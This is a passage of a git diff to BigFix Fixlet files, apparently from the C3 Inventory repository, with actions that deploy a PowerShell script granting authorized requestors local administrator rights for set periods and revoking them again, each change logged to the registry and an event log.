+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action25221">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to convert all permanent administrators with&amp;nbsp;authorized requestors permission to having temporary administrative rights for&amp;nbsp;5 hours.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +Authorized Requestors who are Administrators
+// -Current Temporary Administrators
+
+parameter "SIDS"="{concatenations ";" of elements of (intersection of ( set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry; set of component strings of (sids of members of local group "Administrators") whose (exists user of it)) -  set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry)}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (8 * hour)}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25222">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to convert all permanent administrators with&amp;nbsp;authorized requestors permission to having temporary administrative rights for 1 day.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +Authorized Requestors who are Administrators
+// -Current Temporary Administrators
+
+parameter "SIDS"="{concatenations ";" of elements of (intersection of ( set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry; set of component strings of (sids of members of local group "Administrators") whose (exists user of it)) -  set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry)}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (1 * day)}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25223">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to convert all permanent administrators with&amp;nbsp;authorized requestors permission to having temporary administrative rights for 5 days.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +Authorized Requestors who are Administrators
+// -Current Temporary Administrators
+
+parameter "SIDS"="{concatenations ";" of elements of (intersection of ( set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry; set of component strings of (sids of members of local group "Administrators") whose (exists user of it)) -  set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry)}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (5 * day)}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25224">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to convert all permanent administrators with&amp;nbsp;authorized requestors permission to having temporary administrative rights permanently.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +Authorized Requestors who are Administrators
+// -Current Temporary Administrators
+
+parameter "SIDS"="{concatenations ";" of elements of (intersection of ( set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry; set of component strings of (sids of members of local group "Administrators") whose (exists user of it)) -  set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry)}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (1000000 * week)}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Defragement and Optimize Drives - Windows (23382).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Defragement and Optimize Drives - Windows (23382).bes
index 211587795..b50cc1718 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Defragement and Optimize Drives - Windows (23382).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Defragement and Optimize Drives - Windows (23382).bes	
@@ -1,36 +1,36 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Defragement and Optimize Drives - Windows
-  ID       : 23382
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-02-01T19:23:35
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Defragement and Optimize Drives - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet runs defragmentation or optimization on the targeted devices.</P>
-<P>This fixlet has generic relevance and should not be set to re-apply without a delay.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-11-15</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
